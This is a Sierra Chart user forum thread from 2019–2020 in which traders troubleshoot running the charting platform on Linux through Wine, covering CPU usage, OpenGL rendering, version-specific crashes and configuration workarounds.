Hi guys thanks for the replies! I'm using Nvidia but assuming that the CPU 100% thing may be more Ryzen related? I got the same issue on the 390 and latest 418 Nvidia divers.

I think my motherboard bios is up to date but will check when I'm home if there's an update that...

Alex thanks I'll look into the suggestions. I was using transparency but think I switched it all to non transparent but that may be the issue. Will have a play and send over the chart book later after having a play

Cheers all!
[2019-03-13 12:35:47]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
Will have a play and send over the chart book later after having a play

try to remove all your "trading proprietary stuff" :) and have the chart still do the 100% cpu thing, and I and i guess others too will try to help you, since its much easier if we can reproduce it locally !

if your really suspicious about your ryzen and linux, you can take a look at: https://github.com/Oxalin/ryzen-test and more info at : https://www.reddit.com/r/Amd/comments/8e1peo/how_to_check_ryzen_segfault_bug/
[2019-03-13 13:01:53]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
Awesome stuff man. Thanks Alex. Im back in windows atm but will have a look tonight
[2019-03-13 19:49:03]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
Alex, you're a ledge! Was the fill to zero that was messing things up. Working perfectly now after changing everything to rectangle based. Really impressed with the speed of stuff, never expected this much improvement. In windows my main chart had about 60-150ms latency. Now its running 22-45ms !

Thanks everyone for your inputs, really appreciated
[2019-05-27 01:03:33]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Just a few quick notes: Updates in SC have progressed without any issues up to V1924. Wine on Linux has been extremely stable... actually cannot remember the last time I had any wine/Linux issues. Hopefully everyone else is experiencing the same!

The new routing service is working well after a few initial issues.
https://www.sierrachart.com/SupportBoard.php?ThreadID=41767

Auto trading is working without any issues.

Best regards
[2019-05-27 04:55:16]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
Yup same Etrader. Expecting the imminent opengl to possibly throw us a curve ball though, will be interesting.

Anyone know if opengl may present an issue (Sierra?)? I'm guessing wine may even handle it better, but I'm fairly new to running SC on linux
[2019-05-27 05:18:42]
Kiwi - Posts: 285 | Ending Date: 2019-10-03 [Expired]
I would imagine it will be fine (running wine 4.0.1 on mint 19.1) but you can never been certain. There are a lot of moving parts in software.

I keep a copy of the last totally stable SC in a directory in case something goes awry. Then I can just copy in the executable & revert if it does.
[2019-07-06 20:04:01]
ertrader - Posts: 304 | Ending Date: 2020-09-21
In the latest version 1941, when attempting to open the trade service log, SC creates a rectangle bar across the screen at the top rather than opens the log. I've tried Wine 4.0.1 and 4.12 and both have the same issue. There is an X on the right that allows me to close it and it happens without any charts. Not sure which version this started happening.

Does anyone know if there is a way to see the trade services log outside of SC? I've looked in the various directories in SC. Ideally, it would be fixed at some point.
Date Time Of Last Edit: 2019-07-06 20:05:49
imageScreenshot from 2019-07-06 16-00-43.png / V - Attached On 2019-07-06 20:03:43 UTC - Size: 34.05 KB - 234 views
[2019-07-06 21:59:47]
ticinotrader - Posts: 217 | Ending Date: 2020-09-14
Must be something local, because I do not experience this issue, neither with 1941 or 1944. The Trade Service Log appears correctly for me. I'm running a setup almost identical to yours (I followed your instructions: Mint, Wine 4.12, SC 1941/44).
[2019-07-07 00:48:57]
ertrader - Posts: 304 | Ending Date: 2020-09-21
OK, USER error! The window had been reset somehow to look like that. Right mouse clicking and then resizing it back to normal did the trick...I appreciate the feedback!
Date Time Of Last Edit: 2019-07-07 00:58:10
[2019-07-07 01:51:59]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
You can also select Window >> Reset Windows to reset its size and position.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2019-07-07 08:18:06]
ticinotrader - Posts: 217 | Ending Date: 2020-09-14
After upgrading to Wine 4.12 when launching Sierra, there is a Wine error window popping up. Then when closing it down, SC opens properly. Anybody experience this problem?

Previously it was the Mono Installer/Updater that run automatically first, when starting SC after upgrading wine, so I guess it is related to that and not SC but do not know how to fix it.
Date Time Of Last Edit: 2019-07-07 08:50:53
image2019-07-07 10:02:46.png / V - Attached On 2019-07-07 08:16:09 UTC - Size: 16.85 KB - 232 views
image2019-07-07 10:03:12.png / V - Attached On 2019-07-07 08:16:15 UTC - Size: 119.69 KB - 236 views
[2019-07-07 10:14:56]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
I’ve not updated to wine 4.12, still running 4.11. I’ve not seen that before though. I’ll let you know if I have any uses issues after I update

Not sure how to do it but have you tried rolling back to 4.11?

Btw what version of Sierra are you running? I think they may have introduced OpenGL in 1945 but it was pulled as some folks had issues
Date Time Of Last Edit: 2019-07-07 10:15:48
[2019-07-07 12:13:21]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
ticinotrader

there is a Wine error window popping up.
https://www.phoronix.com/scan.php?page=news_item&px=Wine-4.12.1-Released

After upgrading to Wine 4.12

Stable: Wine 4.0.1

https://www.winehq.org/
[2019-07-07 17:09:13]
ticinotrader - Posts: 217 | Ending Date: 2020-09-14
Thank you ganz - a quick Wine 4.12.1 update solved the problem.

sunnyod: this works fine now with both SC 1941 and 1946.
[2019-10-07 20:48:59]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Hi all. A couple things:

Updated to Wine 4.17 with no issues when it was released a couple weeks ago. I've had good success with SC up to 1991. I'm using SC's data feed which has been great.

With 1997 I'm having freezing issues when connecting to data. Is anyone else seeing this?

1991 has been solid but when updated to 1997 over the weekend, I had these issues:

https://www.sierrachart.com/SupportBoard.php?ThreadID=45948#P193867
Date Time Of Last Edit: 2019-10-07 20:52:41
[2019-10-07 20:55:16]
ticinotrader - Posts: 217 | Ending Date: 2020-09-14
Thanks for the info, haven't tried the 1997 yet, I'm still on the 1991 but will check it out now and let you know.
[2019-10-09 07:24:17]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
testing a chartbook about 1997 stability ( which didn't experienced any problem in here ), i noticed that that user was using a chart with attached tradewindow.

I said:
In wine don't use "attached trade window on a chart". It will make SierraChart use alot of CPU for no reason ( this doesn't happens on windows ). In my system, just dettaching the trade window from the chart ( leaving it as a separated window ) makes SierraChart use about less 20% CPU immediatly.

Can anyone confirm this, or it only happens to me ?
[2019-10-09 07:47:24]
ticinotrader - Posts: 217 | Ending Date: 2020-09-14
Hi Alex, can you please advise regarding what you use to measure the CPU usage?
I run several Chart DOMs (also standalone DOMs) but not trade windows in my chartbooks and would like to check their effect vs using separate windows (with or without trade window).
thanks in advance,
tt
[2019-10-09 07:55:49]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
ticinotrader:

I usually use htop, but any desktop system monitor tool should be good. ( although some cpu monitor divide usage by total number of cores, i disable that )
[2019-10-09 08:31:35]
ticinotrader - Posts: 217 | Ending Date: 2020-09-14
Thanks!

I am trying the 1997 now.

I can confirm, there is a visible ~15-20% difference (increase) in CPU usage when attached trade windows are displayed.

But I do not see any visible difference between attached or standalone DOMs in terms of CPU.

ertrader: I do not experience any problem when loading chartbooks with 1997 (64) + wine 4.17
[2019-10-09 12:36:47]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Thank you and I appreciate the feedback! I've determined this not to be a Wine/Linux issue. Both windows 10 and Wine demonstrate the same issues and have submitted a chart for testing.
[2019-11-06 21:22:10]
ertrader - Posts: 304 | Ending Date: 2020-09-21
At this point, everything has been resolved as best I can tell. I'm on SC 2007 and Wine 4.19 and ever since the issues were fixed... stability and speed are back!

https://www.sierrachart.com/SupportBoard.php?ThreadID=46022#P194769
[2019-12-19 16:41:53]
William O - Posts: 13 | Ending Date: 2021-05-27
Alex, I can also confirm that attached trade windows are causing a huge uptick in cpu usage. I detach the trade window and cpu usage is normal. Another interesting thing to note is opening a menu in sierra chart, such as Global Settings at the top, the cpu reduces to normal. Upon closing said menu, cpu increases back to +20%. I'm using wine 4.0-2 and sierra 2028.
[2019-12-20 04:27:27]
William O - Posts: 13 | Ending Date: 2021-05-27
The cpu increase is seen using wine 4.2 as well.
[2019-12-31 18:48:27]
User612643 - Posts: 1 | Ending Date: 2018-11-13 [Expired]
How to setup a development environment in Linux

https://youtu.be/UC69ex3kqcc
[2019-12-31 21:19:57]
ertrader - Posts: 304 | Ending Date: 2020-09-21
William..thanks for the info. I'm not seeing increases in CPU usage. Attached trade windows is exactly how I have been set up from the beginning. I tested attaching, detaching, closing, reattaching... all had no increase in CPU. I'm on wine-5.0-rc3, however, I've not seen this before in any other releases. I'll keep trying and let you know if I see anything.

SC 2028 64 Bit
wine-5.0-rc3
Mint Linux 19.3
Date Time Of Last Edit: 2019-12-31 21:22:39
[2020-01-01 18:26:54]
Andreas - Posts: 512 | Ending Date: 2020-10-18
i have that too.. with wine-5.0-rc2 (Staging)

sc at 65%, opening a menu and it disappears
[2020-01-21 15:56:16]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Since AFTER SC 2028, I'm unable to get trade statistics. I can see trade stat information but it is old and changing the symbol and date changes do not update the stats.

2028 works but when they went to file based activity in 2031, trade stats stopped updating.

Does anyone else have this problem on Wine?

SC 64 bit v 2031 and above demonstrate the problem
Wine 5.0RC6
[2020-01-21 16:04:48]
ertrader - Posts: 304 | Ending Date: 2020-09-21
I've been able to get it working:

1) I changed permissions on the TradeActivityLogs directory (read/write for files and create/delete files for directories) Have not had to do this ever, files were already being created and updated without issue.
2) Downloaded and reinstalled 2036
3) tested and appears to be working now

SC V2036 64 bit
Wine 5.0 RC6
Date Time Of Last Edit: 2020-01-21 16:06:00
[2020-01-25 15:54:42]
User805413 - Posts: 1 | Ending Date: 2019-12-06 [Expired]
Can I get Sierra Chart Source Code to compile it for Linux?
[2020-01-27 12:31:33]
User964132 - Posts: 49 | Ending Date: 2020-08-13
Can I get Sierra Chart Source Code to compile it for Linux?
That would be interesting!!
[2020-01-27 12:48:46]
BeardPower - Posts: 40 | Ending Date: 2019-01-23 [Expired]
It would be great, no question about that, but I think if this would be a possibility, they would already offer an Open Source version of SC.

SC works hard on separating the base and UI components, so at least there could be an option to get precompiled base modules for various operating systems and an interface to provide the UI components by the user.
[2020-01-27 12:59:29]
User106072 - Posts: 98 | Ending Date: 2020-08-31
SC is not an open source product. It's not a cross platform (windows only). So in Linux you will have to use it as a normal windows executable through the Wine layer system (or in virtual box) so there is no real edge to compile anything.
Date Time Of Last Edit: 2020-01-27 13:01:14
[2020-02-12 16:28:21]
Mack - Posts: 77 | Ending Date: 2020-08-23
SC V2036 64 bit
Wine 5.0 RC6

@ ertrader
Just to clarify, are you running the Wine development branch? or the Wine Staging branch? (Wine 5.0 RC6)
[2020-02-13 02:57:14]
ertrader - Posts: 304 | Ending Date: 2020-09-21
At the time, I was on Wine development branch.

Now that Wine 5.0 Stable is out, I have updated:

SC V2048 64 Bit
Wine 5.0 Stable
[2020-02-18 03:27:01]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Now at the following releases with no known issues:

Operating System: Linux Mint 19.3
Kernel: Linux 5.3.0-40-generic
Architecture: x86-64
SC V2054 64 Bit
Wine 5.0 Stable
[2020-02-18 09:48:08]
Andreas - Posts: 512 | Ending Date: 2020-10-18
fun fact, even though SC shows like 90% cpu load in htop, no core actually backs up that kind of activity.. (screenshot attached)

so, it looks to me this is just a glitch in those system monitors when it comes to wine
imageDeepinScreenshot_select-area_20200218044558.png / V - Attached On 2020-02-18 09:46:48 UTC - Size: 48.08 KB - 135 views
[2020-02-18 10:42:31]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
Now at the following releases with no known issues:

There is still that issue for me, major annoyance, since 1847 release that if I start SierraChart with more than 10 symbols autoload, it doesn't connect, and just keeps reconnecting. I have to load 6 symbols at a time, wait some seconds, and then load the rest.

This doesn't happen pre-1847 or windows, where I can connect all the symbols i follow at once, so i figure that SC support will never care for this.

Also, in wayland, if one has more than one window inside the SC main window(MDI) ( for example tiled two windows ) without titlebar, and then one maximizes the window, that window disappears. to work around this, adding a titlebar to the window makes it work properly. ( or using wine through explorer shell, then this doesn't happen at all )

Everything else, pretty much works better on linux/wine than on windows10, especially opengl, where it works perfectly on linux/wine and on windows it has transparency problems.
Date Time Of Last Edit: 2020-02-18 10:43:35
[2020-02-20 13:18:25]
User548030 - Posts: 12 | Ending Date: 2020-07-31 [Expired]
I'm running Manjaro XFCE with the latest Sierra chart 2054. Using wine 5.0 Running perfectly, some of the fonts look ugly and occasionally after a few hours, the control bar disappears. This can be fixed by right clicking the bar and opening settings or restarting sierra chart.
[2020-03-23 20:20:07]
ertrader - Posts: 304 | Ending Date: 2020-09-21
A couple updates:

Wine 5.4 development: Seems to be working well.

SC 2068. A couple things:

1)Have had a couple times windows crashes with a windows crash report when exiting. Just started with this version. Will test on Windows 10. Not impacting me as it occurs when exiting but is odd.

2) For two prior versions of SC (2060 and 2065), switching from one chartbook to the next by clicking the tab, it would not recognize the click. Had to use CB menu selection at the top. This now seems to be resolved in 2068.

OpenGL: Testing and is finally looking good. I'm not seeing any anomalies now. Also, CPU-1 usage is 50% less. This is on the Resources tab of the system monitor. Without OpenGL, CPU 1 was almost always pegged to 100%. With OPenGL, the load is much less and spread out between CPU 1-6. Overall CPU% remains about the same (from 18-22%) but the spread between each CPU seems to be much better. Wineserver remains <1%
Date Time Of Last Edit: 2020-03-23 21:00:58
imageScreenshot from 2020-03-23 16-24-53.png / V - Attached On 2020-03-23 20:25:07 UTC - Size: 146.34 KB - 99 views
[2020-03-23 21:20:15]
User75096 - Posts: 46 | Ending Date: 2021-03-08
here are problems with chartbook opening, other than this all is fine
[2020-03-23 21:22:58]
User75096 - Posts: 46 | Ending Date: 2021-03-08
2070 and wine 5.3
[2020-03-30 15:22:56]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Updated to Wine 5.5 development. Still on SC 2068 and is not crashing when exiting any longer. Chartbook clicking is no longer an issue either. OpenGL is now my standard graphics on both Windows 10 and Wine and also working great with VNC Viewer.

UPDATE: Still happening but less frequently. Submitted a bug report to winehq
Date Time Of Last Edit: 2020-04-07 23:08:05
[2020-03-31 05:07:07]
ivory - Posts: 20 | Ending Date: 2020-07-20 [Expired]
I have been using SierraChart with Wine & PlayOnLinux for about 4 months now. Very stable, everything works as expected, including trading. Connects to IB TWS without issues. I observe very minor GUI issues sometimes, such as context menus rendered with an offset to the right, but it's such a small issue that I don't consider it a problem at all. I am using Gnome 3, which seems to have issues with other Wine apps sometimes.

It's nice to be able to use SC under linux with this level of service, considering skepticism in older posts in this thread.

Ubuntu 18.04
Wine 4.0.3
SC 2028
[2020-03-31 06:11:00]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
32 or 64 Bit?
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2020-03-31 06:18:11]
ivory - Posts: 20 | Ending Date: 2020-07-20 [Expired]
64 bit. Example attached.
Private File
[2020-04-07 23:06:42]
ertrader - Posts: 304 | Ending Date: 2020-09-21
I'm still seeing the Windows error on exit (less often but still there). I've submitted a bug report to winehq with the backtrace.

SC 2079 64 Bit
Wine Development 5.5
OpenGl
[2020-04-07 23:20:20]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
ivory,

Can you test running SC in wine inside an explorer shell ? ( running wine64 explorer desktop=whatever,screenXxscreenY sierrachart_64.exe ?
It fixes alot of small weird issues with me.
[2020-04-09 10:33:40]
ertrader - Posts: 304 | Ending Date: 2020-09-21
The tab clicking issue (click to go to a window tab but nothing happens)came back very bad in 2080 this morning. Had to immediately go back to 2079 where tab clicking worked perfectly.

SC 2079 64 bit
Wine 5.5
[2020-04-09 11:18:27]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
Occasionally we look at this thread and we notice post #167 above. We have not heard of this before. We do not know why there is a problem but there is no such problem like this on Windows at all. It is not something we can help with. We have no clue why it is happening in your case.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2020-04-09 12:04:46]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
ertrader,

I also don't have that issue ( If you are talking about the chartbook tabs ).

Can you try it like I mentioned previously ? ( Actually there is no need to go into the command line, just enable the option of "emulate a virtual screen" in winecfg ).
( I run it inside a virtual screen because I have some kwin rules for SC by title, and it seems that SC changing title so fast always, creates a 1~3% extra cpu usage with kwin+lattedock )
[2020-04-09 13:33:47]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Alex.. thank you for the suggestion. Yes, that did work for V 2080. Also, I noticed an option to "automatically capture the mouse in full screen" It was unchecked...once I checked it, it now is able to select the tabs, even without "emulate a virtual screen". The attached image shows were the issue was and where to change so it is resolved.
Date Time Of Last Edit: 2020-04-09 15:18:34
imageSC_V2080.jpg / V - Attached On 2020-04-09 15:16:47 UTC - Size: 178.24 KB - 100 views
[2020-04-11 15:12:43]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
The tab clicking issue (click to go to a window tab but nothing happens)came back very bad in 2080 this morning. Had to immediately go back to 2079 where tab clicking worked perfectly.

SC 2079 64 bit
Wine 5.5

Ubuntu 20.04
Wine 5.0 "stable"
SC v.2083

Don't see the issue.
[2020-04-16 19:44:22]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Resource usage is quite good...generally between 13-19 CPU% overall and with OpenGL, is well distributed across the CPUs. Wineserver ranges from 1-6%.

Still seeing occasional windows exception error on exit but not causing any issues.

Mint Linux 19.3
Linux kernel 5.3.0-46
SC V2086 64 Bit
OpenGL
Wine 5.6 Development
Denali Data with SC/TT routing
Date Time Of Last Edit: 2020-04-18 03:22:12
[2020-05-04 03:13:17]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Latest updates... added a second monitor last week on my AMD video card (one HDMI, one DVI). Initially had flicker issues and system was hanging. Updated to latest AMD drivers and all is working with no flicker and no crashing

https://www.amd.com/en/support/kb/release-notes/rn-rad-win-20-4-1
[2020-05-10 04:13:08]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
https://www.phoronix.com/scan.php?page=news_item&px=HarfBuzz-Hinting-Woe

free as easy to drop :)
[2020-05-11 17:08:16]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Latest setup to address CME data changes:

I use to have SC running on two different systems, one as a backup. This is now an issue with CME. I've now installed a total of 3 instances of SC on the same computer. Keep in mind I use an older i7 PC (about 7 years old). Each instance now has separate application and data locations on the same computer.

I still use the other PC (Windows 10) as a backup, for testing and SC support examples but do not leave it connected.

I really thought my system would not handle the changes regarding performance. However, each installation is working perfectly... even during very fast moving days!!

Each SC instance uses between 7-10% CPU so the system "feels" responsive at all time. Chart DOM drawing time is between 6 and 30ms and DOM price updates are smooth.

Also, the latest chartbook changes do seem to have helped with performance.

Mint Linux 19.3
Linux kernel 5.3.0-51
SC V2102 64 Bit
OpenGL
Wine 5.8 Development
Denali Data with SC/TT routing
[2020-05-12 12:49:27]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
Hey Guys.

I've been running windows again for a few months and want to get Linux up and running again. Few things have changed since I tried it though. Just wondering if there are any tweaks that I still need to make to my study collections/charts or wine etc?

For example, I remember before opengl was introduced I needed to not use 'dots' line type or use certain fill types like 'Fill Bottom', instead use 'Rectangle Fill Bottom'. Is that still the case?

Only reason I ask is i'm running Kubuntu 20.04 with Wine 5.5 with 440 nvidia drivers and it just feels more sluggish than I remember. Or maybe that's just because windows is more snappy now with the Opengl implementation in sierra

One thing of note is the GPU utilisation which is normally around 15-20%, it's now 50-80%:

+-----------------------------------------------------------------------------+
| NVIDIA-SMI 440.64 Driver Version: 440.64 CUDA Version: 10.2 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
|===============================+======================+======================|
| 0 GeForce GTX 1070 Off | 00000000:42:00.0 On | N/A |
| 54% 60C P0 67W / 220W | 2180MiB / 8110MiB | 80% Default |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes: GPU Memory |
| GPU PID Type Process name Usage |
|=============================================================================|
| 0 1272 G /usr/lib/xorg/Xorg 972MiB |
| 0 1619 G /usr/bin/kwin_x11 365MiB |
| 0 1629 G /usr/bin/plasmashell 342MiB |
| 0 1671 G /usr/bin/plasma-discover 20MiB |
| 0 1990 G ...quest-channel-token=7415782147581433050 38MiB |
| 0 2358 G ...ierraChartInstance_4\SierraChart_64.exe 429MiB |
+-----------------------------------------------------------------------------+


Thanks
S
Date Time Of Last Edit: 2020-05-12 15:15:32
[2020-05-12 17:23:21]
ertrader - Posts: 304 | Ending Date: 2020-09-21
I'm not aware of any remaining OpenGl issues. I'm using a low end AMD video card (Radeon HD 7730/8730) and dots line type and fills work (I happen to have both on my screens now). CPU utilization went down but not sure about GPU utilization
Date Time Of Last Edit: 2020-05-12 20:19:54
[2020-05-12 21:43:42]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
For example, I remember before opengl was introduced I needed to not use 'dots' line type or use certain fill types like 'Fill Bottom', instead use 'Rectangle Fill Bottom'. Is that still the case?

the dots now aren't an issue, since SC changed its dot implementation. also the problem is "Fill Bottom and Transparent Fill Bottom". I haven't tried them in opengl, i will and then report later.

I have an amd, and it runs very well.
But that said, I don't have any PC with nvidia video card. Did you tried it with SC on opengl vs non opengl mode ?

There are some users here with nvidias, maybe they can help ?
[2020-05-12 22:45:02]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
Thanks Guys. I'm using Kubuntu, it may just be that KDE is sluggish. I'm gonna try another distro over the weekend, possibly PopOS. Will report back if it's any better
[2020-05-12 23:23:16]
User75096 - Posts: 46 | Ending Date: 2021-03-08
Here since 4 years manjaro xfcm, it was the first distro I could run Sierra with no problems and it was always faster than gates shit, k7700, Nvidia 1070 two 50'4k, find a distro you become familiar with, I run manjaro at all my computer
[2020-05-18 00:35:33]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
Hey User75096/Guys. I went for Manjaro and Xfce. Build seems good but i'm having a strange issue when putting SC charts (opengl and non opengl) onto 2 of my 4 monitors. The mouse doesn't respond on these screens at all. I've set up nvidia drivers (440) and have my monitors layed out correctly, not sure what else it could be. Any ideas?

Thanks
S
[2020-05-18 01:28:32]
User75096 - Posts: 46 | Ending Date: 2021-03-08
Connect all your 4 monitors, than install manjaro with non free driver,setup the monitors in Nvidia and in manjaro, than wine, I hope this helps
[2020-05-18 04:25:10]
User677924 - Posts: 24 | Ending Date: 2020-08-31
I am using Dual monitor with Arco Linux 20.4.11 with XFCE . In future I might install LXDE and try to run SC on it. I cannot stand windows 10. if anyday I can't run SC on windows 7.0, I prep for alternate plan by slowly moving to Arco linux . Arco linux came with old wine installed. I uninstalled wine and install wine 5.7. installed latest SC ver 2092 64bit with low end Graphics Radeon 5450 1Gb ddr3 .. Copied the Data folder from windows 7.0 machine except scid files to Linux. I have to tweak few things which is not interpreted in linux properly. Also wine didn't install second USERstudies dll. I have to copy from Windows machine to linux. I have to make few changes in the chart trade settings and chart DOM settings , in Arco linux. I am a price chart trader so nothing complicated in my .cht files. so conversion was pretty much breeze. Nothing major, took an hour, verified in simulated trading before started real future/commodities trading. Everything is working like champ. CPU usage is very nominal. Only 7% memory is used of 16GB. I love SC platform.
Date Time Of Last Edit: 2020-05-18 04:27:35
[2020-05-18 08:23:25]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
This is good to know.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2020-05-18 09:45:15]
User75096 - Posts: 46 | Ending Date: 2021-03-08
Here the same and as I wrote I love sc under Linux, it is faster and brighter than under win 10 and if you don't like win for all this reason we know you feel better without ii. Thanks Sierra for your great work to deliver this platform, may one times direkt under Linux
[2020-05-18 13:24:27]
Mr.Arsov - Posts: 7 | Ending Date: 2021-07-26
Dropping by to say that I installed SC last build as of 18th May 2020 on a fresh install of Linux Mint 19.3 Cinnamon with Wine 4.0. with Nvidia Geforce GTX 850M and I have zero issues for now.
[2020-05-30 12:57:31]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
Hey Guys.

Finally got round to getting sierra working in linux and stuck on an issue. I'm running Manjaro Gnome edition with proprietary nvidia drivers, wine 5.8 and Sierra v2109 with Opengl.

I think installed corefonts using winetricks, although it did complain about it being 32bit and my WINEARCH being win64, so not sure if it's working tbh. Also I'm running Sierra from my NTFS windows drive and have not installed sierra directly in linux with wine, this has worked perfectly before in Kubuntu so don't think this is the issue but please let me know

Issue is that sierra appears to run fine but occasionally when opening a dialogue box like Chart Settings or Chart Studies sierra crashes with the following error:

"The program sierrachart_64.exe has encountered a serious problem and needs to close.
This can be caused by a problem in the program or deficiency in Wine. You may want to check the application Database for tips about running this application."

Been pulling my hair out this morning, can't find anything on google or sierra forums

Any advice? Not sure if a broken/not installed corefonts could cause this, if it could please let me know how to install these correctly for 64 bit. Maybe I've missed a different step or something?

Thanks!
Sunny
Date Time Of Last Edit: 2020-05-30 13:33:44
[2020-05-31 00:20:05]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
Been pulling my hair out this morning, can't find anything on google or sierra forums

Well... I never got that problem, and maybe neither did other people. I actually have run SC on linux since first trying it ( it was a major reason for when trying it, sticking with it ( i came from nt.. )) and never had a ChartSettings or ChartStudies window make a crash.

Also I'm running Sierra from my NTFS windows drive and have not installed sierra directly in linux with wine, this has worked perfectly before in Kubuntu so don't think this is the issue but please let me know

Don't do this. Stop, really. NTFS, although support is rather good and works, its not performant. Because NTFS isn't an open filesystem, it will never be even near the same performance as SC on ext4/xfs/btrfs. There might also be other hidden/rare issues with using NTFS as the SC filesystem.

You can use rsync to keep both windows and linux SC installations in sync.
[2020-05-31 23:07:22]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
FYI. Getting this error in the log file at time of crash:

Loaded depth data records for ESM0-CME 2020-05-29 from 2020-05-29 01:12:09 to 2020-05-29 20:59:54. | 2020-05-31 23:57:16.098
ESM0-CME 1000 Volume #2 | StartDateTimeForLoadingOrderFills: 2020-05-17 23:57:16 | 2020-05-31 23:57:16.494
ESM0-CME 10 Sec #1 | Performing a full recalculation because it has been tagged. Chartbook: LIVE ES 10s.Cht | 2020-05-31 23:57:16.758
ESM0-CME 10 Sec #1 | Performing a full recalculation because it has been tagged. Chartbook: LIVE ES 10s.Cht | 2020-05-31 23:57:47.019
ESM0-CME 10 Sec #1 | Caught an unhandled exception in c_Chart::WindowProc. Message: 32769, wParam: 33758, lParam: 0 | 2020-05-31 23:59:21.230
[2020-06-01 04:58:22]
ertrader - Posts: 304 | Ending Date: 2020-09-21
You may want to try a couple things. I've been seeing more CPU exceptions lately too.

1) Remove any unnecessary study dlls from your data directory even if you are not using them. For instance, I removed all dlls except 2 custom dlls I need. I do not use any of the user contributed studies so I even removed UserContributedStudies.dll and UserContributedStudies_64.dll.

2) Try updating to 2113

3) If you do use usercontributed studies, follow these instructions:

https://www.sierrachart.com/SupportBoard.php?ThreadID=51813


For me, 1) above helped reduce CPU exceptions when accessing the /analysis/studies menu, even after completing 3). I still do get an unhandled CPU exception when exiting for some odd reason.
[2020-06-01 05:27:41]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
Awesome idea etrader, thanks. I’ll try that this morning

Alex I’ll try a vanilla Sierra install in Linux and see if that helps, thanks bud
[2020-06-17 12:29:17]
Ackin - Posts: 1067 | Ending Date: 2020-09-04
Hi everyone, please...What is the latest version of Sierrachart that works for Linux? I ask because a lot of users take a library of studies from me and I don't know which version I should currently compile for. I do not use Linux myself, can someone please write the latest known stable and functional version without problems?

thanks in advance
[2020-06-17 13:23:39]
ertrader - Posts: 304 | Ending Date: 2020-09-21
V 2115 has worked the best for me. Usually, the latest works fine but 2120 and 2123 have occasional startup issues for me... Hangs without loading which is something I've not seen before.

Correction: V2118 64 Bit with OpenGL
Date Time Of Last Edit: 2020-06-17 21:51:36
[2020-06-17 13:34:19]
Andreas - Posts: 512 | Ending Date: 2020-10-18
y, starting with build 2120 it doesnt work anymore.. hangs at startup, no log entry and safe mode doesnt work either
[2020-06-17 14:00:22]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
@Andreas Are you using OpenGL? Got same problem on Arch atm so i'm using windows

There are big issues atm for a few people even in windows. See here

https://www.sierrachart.com/SupportBoard.php?ThreadID=53124#SupportBoard
Date Time Of Last Edit: 2020-06-17 14:00:34
[2020-06-17 15:58:34]
ticinotrader - Posts: 217 | Ending Date: 2020-09-14
Arch/Wine 5.10/ SC v2123 works fine here. Same for the previous versions. I do not use OpenGL.

Only issue I had was with the initial wine 5.10 release, but it was a Wine related problem and downgrading the package fixed it.
After come couple of days this was fixed with a newer Wine.
[2020-06-17 16:17:26]
Andreas - Posts: 512 | Ending Date: 2020-10-18
@sunnyd

no, i wasnt..

but, funny enough, i enabled it, installed the latest pre release (2124 atm.) and now it works...
[2020-06-17 16:17:57]
Andreas - Posts: 512 | Ending Date: 2020-10-18
ah, and am also on arch
Date Time Of Last Edit: 2020-06-17 16:18:07
[2020-06-17 16:19:57]
sunnyd - Posts: 322 | Ending Date: 2020-10-25
